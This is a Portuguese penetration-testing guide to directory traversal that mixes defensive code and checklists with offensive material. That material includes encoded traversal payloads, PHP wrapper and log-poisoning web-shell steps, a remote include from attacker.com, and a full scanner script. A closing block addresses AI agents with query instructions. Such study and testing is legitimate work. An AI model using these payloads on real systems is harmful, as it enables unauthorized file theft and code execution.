# Directory Traversal

## 📑 **Índice**

1. [Fundamentos do Directory Traversal](#-fundamentos-do-directory-traversal)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Impacto e Cenários Reais](#-impacto-e-cenários-reais)
5. [Detecção e Identificação](#-detecção-e-identificação)
6. [Ferramentas de Exploração e Análise](#-ferramentas-de-exploração-e-análise)
7. [Mitigação e Prevenção](#-mitigação-e-prevenção)
8. [Checklists de Segurança](#-checklists-de-segurança)
9. [Casos Reais e Referências](#-casos-reais-e-referências)

***

## 🔍 **Fundamentos do Directory Traversal**

### **O que é Directory Traversal?**

Directory Traversal (também conhecido como Path Traversal) é uma vulnerabilidade de segurança que permite a um atacante acessar arquivos e diretórios armazenados fora da raiz da aplicação web ou do diretório esperado. Explorando a falha, o invasor pode ler arquivos arbitrários do sistema operacional, incluindo código-fonte, credenciais, arquivos de configuração e até mesmo informações sensíveis do sistema.

### **Contexto Histórico**

```yaml
Evolução da vulnerabilidade:
  - Década de 1990: primeiras ocorrências em CGI scripts
  - 2000: popularização com servidores IIS e Apache
  - 2007: inclusão no OWASP Top 10 (categoria A4)
  - 2010: técnicas de bypass evoluem (codificações, wrappers)
  - 2017: permanece no OWASP Top 10 (A5 – Broken Access Control)
  - 2021: ainda presente, principalmente em aplicações legadas
```

### **Princípio Básico**

```mermaid
graph LR
    A[Arquivo solicitado: ../../../etc/passwd] --> B[Web Server]
    B --> C{Validação de caminho?}
    C -->|Não| D[Concatenação direta: /var/www/../../../etc/passwd]
    D --> E[Normalização: /etc/passwd]
    E --> F[Retorna arquivo sensível]
    C -->|Sim| G[Erro ou arquivo não encontrado]
```

### **Estrutura de Caminhos**

| Sistema        | Separação  | Exemplo                                    |
| -------------- | ---------- | ------------------------------------------ |
| **Unix/Linux** | `/`        | `../../../etc/passwd`                      |
| **Windows**    | `\` ou `/` | `..\..\Windows\System32\drivers\etc\hosts` |

***

## 🏗️ **Arquitetura e Funcionamento**

### **Fluxo de Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant W as Web Server
    participant F as Sistema de Arquivos

    A->>W: GET /download?file=../../../etc/passwd
    W->>W: Concatena: /var/www/files/../../../etc/passwd
    W->>W: Normaliza caminho → /etc/passwd
    W->>F: Solicita leitura de /etc/passwd
    F-->>W: Conteúdo do arquivo
    W-->>A: Retorna conteúdo (sucesso)
```

### **Cenários Comuns**

#### **1. Parâmetros de Download**

```php
// Código vulnerável em PHP
$file = $_GET['file'];
readfile('/var/www/files/' . $file);
```

#### **2. Leitura de Templates**

```java
// Java vulnerável
String template = request.getParameter("template");
FileReader fr = new FileReader("/WEB-INF/templates/" + template);
```

#### **3. API de Upload/Download**

```python
# Python Flask vulnerável
@app.route('/download')
def download():
    filename = request.args.get('filename')
    return send_file('/uploads/' + filename)
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Sequências Clássicas**

| Payload  | Descrição                 |
| -------- | ------------------------- |
| `../`    | Subir um nível            |
| `../../` | Subir dois níveis         |
| `..\\`   | Windows backslash         |
| `....//` | Bypass de filtros simples |

### **2. Bypass de Filtros com Codificação**

#### **URL Encoding**

```http
GET /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# ..%2f = ../
```

#### **Double URL Encoding**

```http
GET /download?file=%252e%252e%252fetc%252fpasswd
# %252e → %2e → .
```

#### **Unicode Encoding**

```http
GET /download?file=%c0%ae%c0%ae%c0%afetc/passwd
# %c0%ae = . (overlong UTF-8)
```

#### **Base64 e outras codificações**

```python
# Se a aplicação decodifica antes de concatenar
payload = base64.b64encode(b"../../../etc/passwd")
# Enviar como parâmetro
```

### **3. Wrappers PHP (LFI para RCE)**

```http
# PHP Filter – ler código fonte
GET /page?file=php://filter/convert.base64-encode/resource=config.php

# PHP Expect – execução remota (requer expect module)
GET /page?file=expect://id

# PHP Input – injeção de código
POST /page?file=php://input
<?php system('id'); ?>
```

### **4. Bypass com Null Byte (CVE-2006-7243)**

```http
# Antigas versões do PHP (anteriores a 5.3.4)
GET /download?file=../../../etc/passwd%00.jpg
```

### **5. Path Truncation (Antigos sistemas)**

```http
# Sistemas com limite de 256/4096 caracteres
GET /download?file=../../../etc/passwd.....................................................................................
```

### **6. Injeção de Diretórios Virtuais**

```http
# Apache alias /icons/
GET /icons/../../../etc/passwd

# IIS virtual directory
GET /scripts/..%5c..%5cwinnt/system32/cmd.exe
```

***

## 💥 **Impacto e Cenários Reais**

### **Arquivos Sensíveis Comuns**

| Sistema       | Arquivo                                 | Informação                        |
| ------------- | --------------------------------------- | --------------------------------- |
| **Linux**     | `/etc/passwd`                           | Usuários do sistema               |
|               | `/etc/shadow`                           | Hashes de senhas (requer root)    |
|               | `/var/www/.env`                         | Variáveis de ambiente (senhas DB) |
|               | `/proc/self/environ`                    | Variáveis de ambiente do processo |
|               | `/var/log/apache2/access.log`           | Logs de acesso                    |
| **Windows**   | `C:\Windows\win.ini`                    | Informações do sistema            |
|               | `C:\Windows\System32\drivers\etc\hosts` | Resolução DNS local               |
|               | `C:\inetpub\wwwroot\web.config`         | Configurações IIS                 |
|               | `C:\boot.ini`                           | Configuração de boot              |
| **Aplicação** | `config/database.yml`                   | Credenciais DB                    |
|               | `app/config/parameters.yml`             | Parâmetros sensíveis              |
|               | `.git/config`                           | Repositório Git exposto           |
|               | `backup.sql`                            | Backup de banco de dados          |

### **Cadeia de Ataque: LFI para RCE**

```mermaid
graph TD
    A[Directory Traversal] --> B[Leitura de logs]
    B --> C[Log Poisoning]
    C --> D[Inclusão do log via LFI]
    D --> E[Execução de código]
    
    A --> F[Upload de arquivo]
    F --> G[Inclusão do arquivo]
    G --> E
    
    A --> H[php://filter leitura de código]
    H --> I[Análise de código]
    I --> J[Descobrir outras vulnerabilidades]
```

### **Exemplo: Log Poisoning em Apache**

```http
# 1. Injeta código PHP no User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

# 2. Lê o log via LFI
GET /page?file=../../../../var/log/apache2/access.log&cmd=id
```

***

## 🔍 **Detecção e Identificação**

### **Sinais de Vulnerabilidade**

* Parâmetros com nomes como `file`, `path`, `doc`, `folder`, `page`, `template`, `view`, `load`
* Extensões `.php`, `.asp`, `.jsp` em parâmetros
* URL com `?file=document.pdf` ou similar
* Respostas com erros contendo caminhos do sistema

### **Testes Manuais**

#### **1. Verificação Básica**

```bash
# Teste com payloads comuns
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=..\..\..\windows\win.ini"
```

#### **2. Verificação de Resposta**

```python
import requests

def test_path_traversal(url, param, payload):
    response = requests.get(url, params={param: payload})
    
    # Indicadores de sucesso
    if "root:" in response.text or "win.ini" in response.text:
        return True
    if "No such file" not in response.text and "Access denied" not in response.text:
        # Possível sucesso, mas precisa análise
        return True
    return False
```

#### **3. Técnica de Out-of-Band (OOB)**

```http
# Se a aplicação tenta incluir arquivo remoto
GET /page?file=http://attacker.com/evil.php
# Monitorar logs do servidor atacante
```

### **Ferramentas Automatizadas**

```bash
# Burp Suite Intruder com payloads de path traversal
# OWASP ZAP – Active Scan
# DotDotPwn – Ferramenta especializada
dotdotpwn -m http -u "http://target.com/download?file=TRAVERSAL" -k "root:"

# ffuf para brute force
ffuf -w /usr/share/wordlists/dirb/big.txt -u "http://target.com/download?file=FUZZ" -fc 404
```

***

## 🛠️ **Ferramentas de Exploração e Análise**

### **1. DotDotPwn – Path Traversal Fuzzer**

```bash
# Modo HTTP
dotdotpwn -m http -u "http://target.com/download?file=TRAVERSAL" -k "root:"

# Modo FTP
dotdotpwn -m ftp -h target.com -k "C:\boot.ini"

# Modo TFTP
dotdotpwn -m tftp -h target.com -k "/etc/passwd"
```

### **2. Burp Suite – Payloads Personalizados**

```yaml
Payloads para Intruder:
  - ../../../etc/passwd
  - ../../../../etc/passwd
  - ..%2f..%2f..%2fetc%2fpasswd
  - %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
  - %252e%252e%252fetc%252fpasswd
  - ..%c0%af..%c0%af..%c0%afetc/passwd
```

### **3. Python – Scanner Customizado**

```python
#!/usr/bin/env python3
# path_traversal_scanner.py

import requests
import sys
import threading
import queue
import time

class PathTraversalScanner:
    def __init__(self, target, param, threads=10):
        self.target = target
        self.param = param
        self.threads = threads
        self.q = queue.Queue()
        self.results = []
        self.lock = threading.Lock()
    
    def load_payloads(self):
        """Carregar payloads de wordlist"""
        payloads = [
            "../../../etc/passwd",
            "../../../../etc/passwd",
            "../../../../../etc/passwd",
            "..\\..\\..\\windows\\win.ini",
            "....//....//....//etc/passwd",
            "..%2f..%2f..%2fetc%2fpasswd",
            "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
            "%252e%252e%252fetc%252fpasswd"
        ]
        for p in payloads:
            self.q.put(p)
    
    def test_payload(self, payload):
        """Testar um payload"""
        try:
            params = {self.param: payload}
            response = requests.get(self.target, params=params, timeout=5)
            
            # Critérios de sucesso
            if "root:" in response.text or "bin:" in response.text:
                return True, "Linux passwd found"
            if "[extensions]" in response.text and "win.ini" in response.text:
                return True, "Windows win.ini found"
            if response.status_code == 200 and len(response.text) > 100:
                return True, "Possible success (check manually)"
            
        except:
            pass
        return False, ""
    
    def worker(self):
        """Thread worker"""
        while not self.q.empty():
            try:
                payload = self.q.get(timeout=1)
                success, reason = self.test_payload(payload)
                if success:
                    with self.lock:
                        self.results.append((payload, reason))
                        print(f"[!] Vulnerable: {payload} -> {reason}")
                self.q.task_done()
            except queue.Empty:
                break
    
    def scan(self):
        """Iniciar scan"""
        self.load_payloads()
        print(f"[*] Scanning {self.target} with {self.threads} threads")
        
        threads = []
        for _ in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.start()
            threads.append(t)
        
        for t in threads:
            t.join()
        
        return self.results

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python scanner.py <url> <param>")
        sys.exit(1)
    
    scanner = PathTraversalScanner(sys.argv[1], sys.argv[2])
    scanner.scan()
```

***

## 🛡️ **Mitigação e Prevenção**

### **Estratégias de Defesa**

#### **1. Validação e Normalização**

```python
import os
import pathlib

def safe_path(base_dir, user_input):
    """Validação segura de caminho"""
    # 1. Normalizar caminho
    base = os.path.realpath(base_dir)
    target = os.path.realpath(os.path.join(base, user_input))
    
    # 2. Verificar se está dentro do diretório base
    if not target.startswith(base):
        raise ValueError("Path traversal attempt")
    
    return target
```

#### **2. Whitelist de Arquivos**

```python
ALLOWED_FILES = {
    'doc1': 'documentos/relatorio.pdf',
    'doc2': 'documentos/fatura.pdf',
    'img1': 'imagens/logo.png'
}

def get_file(key):
    if key in ALLOWED_FILES:
        return open(ALLOWED_FILES[key], 'rb')
    raise FileNotFoundError()
```

#### **3. Sanitização de Entrada**

```java
import java.nio.file.Path;
import java.nio.file.Paths;

public class SafeFileLoader {
    private static final Path BASE_PATH = Paths.get("/var/www/files");
    
    public Path resolvePath(String userInput) {
        // 1. Remover caracteres perigosos
        String sanitized = userInput.replaceAll("\\.\\.", "");
        sanitized = sanitized.replaceAll("/", "");
        
        // 2. Resolver caminho absoluto
        Path path = BASE_PATH.resolve(sanitized).normalize();
        
        // 3. Verificar se está dentro do base
        if (!path.startsWith(BASE_PATH)) {
            throw new SecurityException("Path traversal attempt");
        }
        
        return path;
    }
}
```

#### **4. Configurações de Servidor**

**Apache (.htaccess)**

```apache
# Desabilitar Path Traversal
<Directory /var/www>
    Options -Indexes
    AllowOverride None
    Require all granted
</Directory>

# ModSecurity rule
SecRule ARGS "../" "id:12345,phase:2,deny,status:403"
```

**Nginx**

```nginx
location /download {
    # Bloquear '..'
    if ($args ~* "\.\./") {
        return 403;
    }
    # Ou usar alias seguro
    alias /var/www/files/;
}
```

**IIS**

```xml
<!-- web.config -->
<security>
    <requestFiltering>
        <filteringRules>
            <filteringRule name="BlockDotDot" scanUrl="false" scanQueryString="true">
                <scanHeaders>
                    <add requestHeader="QueryString" />
                </scanHeaders>
                <appliesTo>
                    <add fileExtension=".php" />
                </appliesTo>
                <denyStrings>
                    <add string=".." />
                </denyStrings>
            </filteringRule>
        </filteringRules>
    </requestFiltering>
</security>
```

#### **5. Sandboxing e Permissões**

```yaml
# Executar aplicação com privilégios mínimos
Usuário: www-data
Grupo: www-data

# Acesso apenas a diretórios necessários
/var/www: r-x (para o usuário)
/uploads: rwx (para o usuário)
/etc, /home: nenhum acesso
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Validação de entrada**
  * [ ] Sanitizar caracteres `../`, `..\`, `./`, `.\`
  * [ ] Rejeitar caminhos absolutos (começam com `/` ou `C:\`)
  * [ ] Utilizar listas brancas (whitelist) de arquivos permitidos
* [ ] **Normalização**
  * [ ] Usar `realpath()` ou `os.path.abspath()` combinado com verificação de prefixo
  * [ ] Resolver caminho absoluto e garantir que está dentro do diretório base
* [ ] **Configuração de servidor**
  * [ ] Desabilitar listagem de diretórios (Options -Indexes)
  * [ ] Executar aplicação com usuário de baixo privilégio
  * [ ] Configurar WAF com regras para payloads comuns
* [ ] **Logging e monitoramento**
  * [ ] Registrar tentativas com `../`
  * [ ] Alertas para múltiplas tentativas de path traversal
  * [ ] Revisar logs regularmente

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar parâmetros que recebem caminhos
  * [ ] Mapear funcionalidades de upload/download
  * [ ] Verificar extensões de arquivo permitidas
* [ ] **Exploração**
  * [ ] Testar payloads comuns (`../../../etc/passwd`, `..\..\..\windows\win.ini`)
  * [ ] Testar variações com codificação (URL, double URL, Unicode)
  * [ ] Testar bypass com null byte (se aplicável)
  * [ ] Testar wrappers PHP (`php://filter`, `php://input`)
* [ ] **Pós-exploração**
  * [ ] Tentar escalar para execução remota (log poisoning, upload)
  * [ ] Verificar impacto (arquivos sensíveis acessados)
  * [ ] Documentar evidências

***

## 📊 **Casos Reais e Referências**

### **Caso 1: Apache CVE-2021-41773**

Path traversal no Apache HTTP Server 2.4.49 que permitia leitura de arquivos fora do diretório raiz, inclusive para execução de código.

### **Caso 2: WordPress Plugin Vulnerability**

Plugins de download de arquivos frequentemente apresentam vulnerabilidades de path traversal, permitindo acesso a `wp-config.php`.

### **Caso 3: GitLab CVE-2023-0050**

Path traversal em GitLab permitia leitura de arquivos arbitrários via repositórios com nomes especiais.

### **Labs Práticos**

```bash
# PortSwigger Web Security Academy
# - Directory traversal
# - File path traversal, simple case
# - File path traversal, traversal sequences blocked with absolute path bypass
# - File path traversal, traversal sequences stripped non-recursively
# - File path traversal, traversal sequences stripped with superfluous URL-decode

# TryHackMe – Path Traversal
# HackTheBox – Machines with LFI
# OWASP WebGoat – Path Traversal lesson
```

***

## 🔐 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Directory Traversal é uma vulnerabilidade crítica:
  ✅ Fácil de explorar quando presente
  ✅ Impacto alto (leitura de arquivos sensíveis)
  ✅ Pode levar a RCE em combinação com outras técnicas

Defesas essenciais:
  ❌ Nunca confiar em entrada do usuário para construir caminhos
  ✓ Sempre normalizar e validar caminhos
  ✓ Usar whitelist de arquivos sempre que possível
  ✓ Aplicar princípio de menor privilégio
```

### **Boas Práticas Finais**

1. **Para Desenvolvedores**
   * Evitar concatenar entrada do usuário com caminhos do sistema
   * Utilizar bibliotecas de acesso a arquivos que realizam validação automática
   * Implementar sandboxing (chroot, containers)
   * Revisar código com foco em funções de manipulação de arquivos
2. **Para Pentesters**
   * Testar todas as variações de codificação
   * Explorar combinações com outras vulnerabilidades (LFI → RCE)
   * Documentar arquivos sensíveis encontrados
   * Verificar se a aplicação permite upload de arquivos com extensões perigosas
3. **Para Arquitetos**
   * Utilizar buckets de armazenamento em nuvem (S3) para downloads
   * Isolar aplicações em containers com volumes restritos
   * Implementar Web Application Firewall (WAF) com regras atualizadas
   * Adotar práticas de zero-trust para acesso a arquivos

**🔐 Lembre-se**: Directory Traversal é uma das vulnerabilidades mais antigas e ainda prevalentes. A defesa eficaz requer uma combinação de validação rigorosa, configuração segura de servidor e monitoramento constante.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/directory-traversal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.